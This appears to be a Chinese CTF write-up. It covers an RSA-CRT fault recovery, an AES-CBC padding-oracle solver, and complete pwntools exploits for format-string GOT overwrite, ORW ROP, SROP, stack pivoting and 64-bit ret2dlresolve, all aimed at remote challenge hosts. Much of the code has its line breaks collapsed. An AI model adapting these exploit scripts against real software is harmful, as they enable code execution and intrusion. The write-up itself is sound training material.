gamma = (r3 * c1 + (2 ** 10 - r3) * c2) // (2 ** 10)  #c1,c2 20位 r3,-r3 10位 gamma 20位以内
S = pow(S_, gamma, p * q)print(m)
print(p * q)
print(S_)
print(S)m=2180240512138982889935733758776025289492848542072999905411903898302427496814336475436552230920326681809745778470583226987
n=25505131259827344749407187081729819350996141100990518281765117676936124636084125400315049858697199427401342785804654120926568235761577895862889807660442415521870277729420875825744007886870384790308986342360349597392841568418588521694478184632631896474390291958350681472768485356865513284619086754437723630874827593280089682939629265210875169009057935264259019861755270570945614034505771690412042781423771110441028258110022746603974882162934979726300741541857444013708508946471384525030286343828680432038605288717842755346907256658746733811881247992925881684393431852248253701825024590345480994598867741811599162649467
S_=5510086561842250138908875342533294108331951659612671466695801343686972919443402163401521040457640602756777910081639191753436122171756174730531385913865951826869995984787102439679170684422717808771260217541439878677750508065703064081375473845405916674327932798153100574555933448570618732842365795738120491532398081467312017203933413296779070611024124965772787502242499016884537233028947865288037718074352448773759363242111080540630360902388540661831992776707600133253329779003707938065020121645530719140954554800986771763343191398210100325971573069812381693089384221441735278736889673500218274673196333806222266248844379127652366
S=11422623501509574650959962952004985925543723972567988534433510888436662069119800576321679344425052011563473005275801787271861671898318523033415642388512047035650991047953319601346912194462122313366888126100093635969476696871403883687946617575837061694813669883782221006701704487938500886952347003631626326127154081787016692856628561200386941683756397734100698520464199249811238013146899352390453500132666840606585760306723894654933077094375810666168464835756607377998959675132305971721109661644231613426322675350973373434138686086023265910883509514575554429502214217460059521619625693750938117427832654792355808803321

'''
S_ = Sq + (q * r2) * (int(inverse(q * r2, p * r1)) * (Sp - Sq) % (p * r1))  #S_ = Sp mod p*r1
=> (S_ - Sq)*q*r2 = q*r2*(Sp-Sq) mod p*r1 
=> S_ == Sp mod p*r1 => S_ = Sp mod p  Sp = pow(m + getPrime(10), dp, r1 * p)
=> Sp^e = m + alpha mod p => S_^e - m - alpha = k*p 
=> S_^e - m - alpha | n  
'''
from gmpy2 import *
ss = pow(S_, e, n) - m
for alpha in range(1<<10):p = gcd(ss - alpha, n)if p != 1:print(p)breakp = 162444751863762997620924358143905691744216939687533558031878147857425924394650727621103811990631377460924419849839444494306552483746253303437254729583360415484451887430694764542040211281812177536232102013933192432112869371751904449701576519558544559269436165890966506337144767513747363703007673980570776414503
q = n//p 
'flag{' + md5(str(p).encode()).hexdigest() + '}'
'flag{' + md5(str(q).encode()).hexdigest() + '}'
#flag{b40ea076da8c73572ae5d067aa0fc22e}

Door

AES padding oracle攻击,提供解密程序,在unpad不成功时给提示.需要伪造一个指定的明文

from secret import flag
import string
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from os import urandom
import rekey = urandom(16)menu = '''
[+] WatchDog Security System
[+] Copyright (c) 1010 by School of Natural Philosophy please select your option:
1. Unlock Secret Entry
2. Help
3. Exit
'''valid_code = [1033,3329,4431,5052]auth_context_pattern = re.compile(r'^SoNP#[0-9]{4}$')def auth_context_checker(ctx : bytes):for c in ctx:if chr(c) not in string.printable:return Falseif auth_context_pattern.match(ctx.decode()) : return Truereturn Falsedef unlock():token = bytes.fromhex(input('Enter your token > '))auth_code = bytes.fromhex(input('Enter your authentication code > '))cipher = AES.new(key, AES.MODE_CBC,token)check = cipher.decrypt(auth_code)try:msg = unpad(check, 16)if auth_context_checker(msg) and int(msg[5:].decode()) in valid_code:print('door unlocked, here is your reward')print(flag)else:print('get out')except Exception as e:print('oops, something wrong')print(e)
def help():print('To unlock the door, please enter your token and authentication code.')
while True:print(menu)opt = input('> ')try:opt = int(opt)if opt == 1:unlock()elif opt == 2:help()elif opt == 3:breakelse:print('invalid option')except:print('oh no, something wrong!')

通过反馈的pading是否正确来爆破密文对应的明文,再通过与调整IV得到相应的明文,这题只有1段. 

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from pwn import *#p = process('python', 'Door_server_2.py')
p = remote('node4.buuoj.cn', 29099)
context.log_level = 'debug'def get_iv(iv,msg):p.sendlineafter(b'3. Exit\n\n> ', b'1')p.sendlineafter(b'Enter your token > ', iv.encode())p.sendlineafter(b'Enter your authentication code > ', msg.encode())if b'oops, something wrong' in p.recvline():return Falsereturn Truedef get_iv_local(iv,msg):key = b'a'*16cipher = AES.new(key, AES.MODE_CBC,bytes.fromhex(iv))check = cipher.decrypt(bytes.fromhex(msg))#b'\xd1\xa8\x8f\x04\x8ab\xba\xaa\xf9h\xe2!\x82\x97\r\x8c'print('check:',check)try:msg = unpad(check, 16)return Trueexcept Exception as e:print('oops, something wrong')print(e)return Falseiv = [0]*16
zero = [0]*16
for idx in range(15,-1,-1):for i in range(idx+1,16,1):iv[i] = zero[i]^(16-idx)for i in range(256):iv[idx] = i if get_iv(bytes(iv).hex(),'0'*32):zero[idx] = i^(16-idx)print(idx, zero)breakprint(bytes(zero))
iv = xor(bytes(zero), b'SoNP#1033'+ b'\x07'*7)
'''
key = b'a'*16
cipher = AES.new(key, AES.MODE_CBC,iv)
check = cipher.decrypt(b'\x00'*16)
print(check)
'''
get_iv(iv.hex(), '0'*32)
print(p.recvline())p.interactive()
#flag{d0_n0t_3xpose_th3_padd1ng_5tatus}

PWN

puts or system?

略,格式化字符串泄露然后再改got

from pwn import *#p = process('./putsorsys')
p = remote('node4.buuoj.cn', 26060)
context(arch='amd64', log_level='debug')#gdb.attach(p, 'b*0x40131c\nc')libc = ELF('./libc.so.6')p.sendlineafter(b"Give me some gift?(0/1)", b'1')
p.sendafter(b"What's it\n", b'%35$p\n')
p.recvline()
libc.address = int(p.recvline()[:-1],16) - 128 - libc.sym['__libc_start_main']
print(f"{ libc.address = :x} ")p.sendlineafter(b"Give me some gift?(0/1)", b'1')
p.sendafter(b"What's it", fmtstr_payload(8, {0x404018: libc.sym['system']}))p.interactive()

orw&rop

ROP但应用了沙箱,禁用了execve,用ORW

from pwn import *#p = process('./ezorw')
p = remote('node4.buuoj.cn', 25071)
context(arch='amd64', log_level='debug')#gdb.attach(p, 'b*0x4013b1\nc')libc = ELF('./libc.so.6')p.sendlineafter(b"Try to escape the sandbox\n", b'%13$p,%11$p,%17$p,')
libc.address = int(p.recvuntil(b',', drop=True),16) - 0x29d90
canary = int(p.recvuntil(b',', drop=True),16)
stack = int(p.recvuntil(b',', drop=True),16) - 0x148
print(f"{ libc.address = :x} {canary = :x} {stack = :x}")pop_rdi = next(libc.search(asm("pop rdi;ret")))
pop_rsi = next(libc.search(asm("pop rsi;ret")))
pop_rax = next(libc.search(asm("pop rax;ret")))
pop_rdx = libc.address + 0x0000000000090529 # pop rdx ; pop rbx ; ret
syscall_ret = libc.sym['getpid']+9
mmap = 0x66660000
bss = 0x404f00p.sendafter(b"I think you can get flag now", b'/flag\x00\x00\x00' + p64(0)*4 + flat([canary, 0x404f00, pop_rdi, stack, pop_rsi,0, libc.sym['open'], pop_rdi,3, pop_rsi, 0x404f00, pop_rdx, 0x50,0, libc.sym['read'], pop_rdi, 0x404f00, libc.sym['puts'] ]))
#sleep(0.2)
#p.send(asm(shellcraft.open('/flag')+ shellcraft.read(3,mmap+0x100, 0x50) + shellcraft.write(1, mmap+0x100, 0x50)))p.interactive()

srop

SROP还是ROP,只是由于因为没有合适的pop rdi,rsi... 所以用syscall 15来装填寄存器.需要得到rax.这题很简单给了rax,一般常会给read啥的,read的返回值是读入长度,通过输入指定长度来控制rax

这是其实是有pop rsi;pop rdi的,只是当作没看到.因为题目给的是call syscall而不是syscall;ret 所以寄存器要按函数的顺序填充.

from pwn import *#p = process('./srop')
p = remote('node4.buuoj.cn', 28475)
context(arch='amd64', log_level='debug')#gdb.attach(p, 'b*0x401191\nc')elf = ELF('./srop')ppp6 = 0x4011fa 
pop_rdi = 0x0000000000401203 # pop rdi ; ret
pop_rsi = 0x0000000000401201 # pop rsi ; pop r15 ; retbss = 0x404800
pay = b'\x00'*0x30 + flat(bss, 0x401171)
p.send(pay.ljust(0x300, b'\x00'))syscall = elf.plt['syscall']
#read /bin/sh
sh_address = 0x404800
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 59
frame.rsi = bss - 0x10
frame.rdx = 0
frame.rsp = bss - 0x40
frame.rip = syscallpay = b'/bin/sh\x00'*6 + flat(0x404f00, pop_rdi, 15, syscall, frame)p.recv(48)
p.send(pay.ljust(0x300))p.interactive()

stack migration revenge

栈地址无法泄露的时候,如果PIE未开,可以移栈到bss上,然后在这里输入

from pwn import *#p = process('./pwn')
p = remote('node4.buuoj.cn', 25232)
context(arch='amd64', log_level='debug')#gdb.attach(p, 'b*0x401227\nc')elf = ELF('./pwn')
libc = ELF('./libc.so.6')pop_rdi = 0x00000000004012b3 # pop rdi ; ret
pop_rsi = 0x00000000004012b1 # pop rsi ; pop r15 ; ret
pop_rbp = 0x000000000040115d # pop rbp ; ret
leave_ret = 0x401227
bss = 0x404800
p.sendafter(b"just chat with me:\n", b'\x00'*0x50 + flat(bss, 0x4011f3))
p.sendafter(b"just chat with me:\n", flat(0, pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rbp, bss+0x100, 0x4011f3,0,0,0, bss-0x50, leave_ret))
p.recvline()
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")p.send(flat(0,pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']).ljust(0x50, b'\x00') + flat(bss +0x100 - 0x50, leave_ret))p.interactive()

dlresolve

dlresolve在32位上时pwntools有现成的函数,但在64位上时函数似乎都不通过,需要手工写

目的是伪造一个名字,got,plt项让程序自动按字符串去找相应的libc然后调用 

from pwn import *#p = process('./pwn')
p = remote('node4.buuoj.cn', 26734)
context(arch='amd64', log_level='debug')#gdb.attach(p, "b*0x4011a9\nc")elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')bss = 0x404040
bss_stage = bss+0x100
add_val = libc.sym['system'] - libc.sym['read']  pop_rdi = 0x000000000040115e
pop_rsi = 0x000000000040116b
plt_load = 0x401026  #plt+6:plt_jmpdef fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):linkmap = flat([offset & (2 ** 64 - 1), 0, fake_linkmap_addr+0x18 ,(fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1), 7,0,0,0, known_func_ptr-8, b'/bin/sh\x00']).ljust(0x68, b'a') linkmap += flat(fake_linkmap_addr, fake_linkmap_addr + 0x38) linkmap = linkmap.ljust(0xf8,b'A')linkmap += p64(fake_linkmap_addr + 0x8) return linkmapfake_link_map = fake_Linkmap_payload(bss_stage, elf.got['read'] ,add_val)payload = flat( b'\x00' *0x78 , pop_rdi+1, pop_rdi, 0 , pop_rsi, bss_stage, elf.plt['read'] , pop_rdi, bss_stage + 0x48,pop_rsi, 0, elf.plt['read'],plt_load,bss_stage, 0).ljust(0x100,b'\x00')+ fake_link_map
p.send(payload)p.interactive()